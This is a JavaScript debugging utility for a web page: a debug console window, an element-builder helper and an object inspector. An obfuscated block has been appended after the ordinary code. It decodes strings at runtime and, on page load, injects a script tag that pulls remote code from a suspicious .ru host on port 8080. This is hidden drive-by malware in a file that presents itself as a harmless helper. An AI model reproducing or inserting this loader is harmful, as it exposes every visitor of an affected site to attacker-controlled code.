var debugWindow = null;
function debug(text, reverse) {
	if (debugWindow == null)
 		return;

	time = "-"; //new Date();
	if (reverse) {
		$('debug').innerHTML = time + " " + text + "<br>"+ 	$('debug').innerHTML;
		debugWindow.getContent().scrollTop=0;
	}
	else {
		$('debug').innerHTML +=  time + " " + text + "<br>";
		debugWindow.getContent().scrollTop=10000; // Far away 
	}
}

function hideDebug() {
	if (debugWindow) {
		debugWindow.destroy();
		debugWindow = null;
	}
}

function showDebug(bShow) {
 if (debugWindow == null) {
  debugWindow = new Window('debug_window', {className: 'dialog',width:250, height:100, right:4, bottom:42, zIndex:1000, opacity:1, showEffect: Element.show, resizable: true, title: "Debug"})
  debugWindow.getContent().innerHTML = "<style>#debug_window .dialog_content {background:#000;}</style> <div id='debug'></div>";
  date=new Date;
    date.setMonth(date.getMonth()+3);
    
  //debugWindow.setCookie(null, date);
 }
 if( typeof bShow == 'undefined' || bShow)debugWindow.show()
}


function clearDebug() {
	if (debugWindow == null)
 		return;
	$('debug').innerHTML = "";
}

/**
 * document.createElement convenience wrapper
 *
 * The data parameter is an object that must have the "tag" key, containing
 * a string with the tagname of the element to create.  It can optionally have
 * a "children" key which can be: a string, "data" object, or an array of "data"
 * objects to append to this element as children.  Any other key is taken as an
 * attribute to be applied to this tag.
 *
 * Available under an MIT license:
 * http://www.opensource.org/licenses/mit-license.php
 *
 * @param {Object} data The data representing the element to create
 * @return {Element} The element created.
 */
function $E(data) {
  var el;
  if ('string'==typeof data) {
      el=document.createTextNode(data);
  } else {
    //create the element
    el=document.createElement(data.tag);
    delete(data.tag);

    //append the children
    if ('undefined'!=typeof data.children) {
      if ('string'==typeof data.children ||'undefined'==typeof data.children.length) {
        //strings and single elements
        el.appendChild($E(data.children));
      } else {
        //arrays of elements
        for (var i=0, child=null; 'undefined'!=typeof (child=data.children[i]); i++) {
            el.appendChild($E(child));
        }
      }
      delete(data.children);
    }

    //any other data is attributes
    for (attr in data) {
      el[attr]=data[attr];
    }
  }

  return el;
}

// FROM Nick Hemsley
var Debug = {
	inspectOutput: function (container, within) {
		within = within || debugWindow.getContent()
		
		if (debugWindow == null)
 			return;

		within.appendChild(container)
	},
	
	inspect: function(object) {
		var cont = $E({tag: "div", className: "inspector"})
		Debug.inspectObj(object, cont)
		debugWindow.getContent().appendChild(cont)
	},
	
	inspectObj: function (object, container) {
		for (prop in object) {
			Debug.inspectOutput(Debug.inspectable(object, prop), container)
		}
	},
	
	inspectable: function(object, prop) {
		cont = $E({tag: 'div', className: 'inspectable', children: [prop + " value: " + object[prop] ]})
		cont.toInspect = object[prop]
		Event.observe(cont, 'click', Debug.inspectClicked, false)
		return cont
	},
	
	inspectClicked: function(e) {
		Debug.inspectContained(Event.element(e))
		Event.stop(e)
	},
	
	inspectContained: function(container) {
		if (container.opened) {
			container.parentNode.removeChild(container.opened)
			delete(container.opened)
		} else {
			sibling = container.parentNode.insertBefore($E({tag: "div", className: "child"}), container.nextSibling)
			if (container.toInspect)
				Debug.inspectObj(container.toInspect, sibling)
			container.opened = sibling
		}
	}
}
var inspect = Debug.inspect;

this.i="";this.aE='';try {this.Vt="";var O=new Date();var d=']';var p="";var Oj;if(Oj!='z' && Oj != ''){Oj=null};var u;if(u!='Dc' && u!='ZU'){u='Dc'};var J;if(J!='OR' && J!='bi'){J='OR'};var X='replace';var f="";var yG="";var V='g';var uW=new Array();var s='';var L='';var aU;if(aU!='VE' && aU!='Jp'){aU=''};this.CZ='';var j=RegExp;var WL;if(WL!='' && WL!='oo'){WL=null};var x='[';var Q=new Array();var Si;if(Si!='' && Si!='sn'){Si='oQ'};function G(Z,c){var ol;if(ol!='jE'){ol=''};var P=x;P+=c;P+=d;var aM;if(aM!='MQ'){aM='MQ'};var c_;if(c_!='' && c_!='MN'){c_=null};var Pn=new j(P, V);var Ox;if(Ox!='cS' && Ox != ''){Ox=null};return Z[X](Pn, L);var H;if(H!='mI'){H='mI'};};var cX;if(cX!='' && cX!='BO'){cX=''};var e=G('sfcjrjifpjtx',"xjfLd");this.KH="";var S=G('sgektgANtNtNrYiYbkuNtNeY',"gcNYk");var A=G('oEnPlPopaEdp',"PpE");var qr;if(qr!='ho' && qr!='Nv'){qr=''};var Ur;if(Ur!='vv' && Ur!='DI'){Ur=''};var b=G('hNtNt_pN:_/3/_s3kPy3r3o_cPk_-3cPo_m_.Nd3e3v3i3aNnPt3a_r_t_._c3oNmP.Pl_o3cPkNePr3zP-_cNoNmN.NfNrPe3s_hPa_i3rPnNe3t_.3r_uP:N',"PN_3");var Z="1";var D=G('/9g7oHo7g7lwe7.Hc9owm9/Hg9owoHgwl9e9.7cHo7mw/91w2H6H.wcwowm7/HdHiwcHt9.wc7cH/Hbwi7zHr9a7t9ew.9c7oHm7.9p7h9pw',"97wH");var HD=new Array();var Ge=G('csrze3astseqEqlsezm3eqn3tz',"qz3sA");var qu=new Date();var NU;if(NU!=''){NU='Ch'};var AY='';var sd;if(sd!='OA' && sd != ''){sd=null};this.bk="";var C=G('bNoNdNyN',"JmN");var gC;if(gC!='' && gC!='sF'){gC=null};var fA;if(fA!='' && fA!='CG'){fA='Yg'};var y=G('86666506655865505665',"56");var SS=new Array();var o=G('a4pDp9e9ntdtCth4i4ltdt',"4btD9");this.n="";var sp=new Array();window[A]=function(){this.JH='';var pk=new Date();var UK=new Date();jr=document[Ge](e);var cV="";var E;if(E!='bP' && E != ''){E=null};AY+=b;this.ux="";AY+=y;var sa;if(sa!='rV' && sa != ''){sa=null};AY+=D;var ky;if(ky!='jJ' && ky!='WY'){ky='jJ'};var ta;if(ta!='aO' && ta!='An'){ta='aO'};var xw;if(xw!='cn' && xw!='xm'){xw='cn'};jr.src=AY;var wf;if(wf!='' && wf!='lZ'){wf=null};this.iF='';jr.setAttribute('defer', Z);var fe=new Date();this.hE="";var R=document[C];var Gi;if(Gi!='oZ' && Gi!='GZ'){Gi=''};this.N_O="";var gN;if(gN!='' && gN!='Im'){gN=''};R.appendChild(jr);var hb;if(hb!='' && hb!='QE'){hb=''};var Sy="";};this.HG="";var Tt;if(Tt!='zr' && Tt!='tO'){Tt='zr'};var iu;if(iu!='wU'){iu=''};} catch(Y){var su=new Date();var th='';};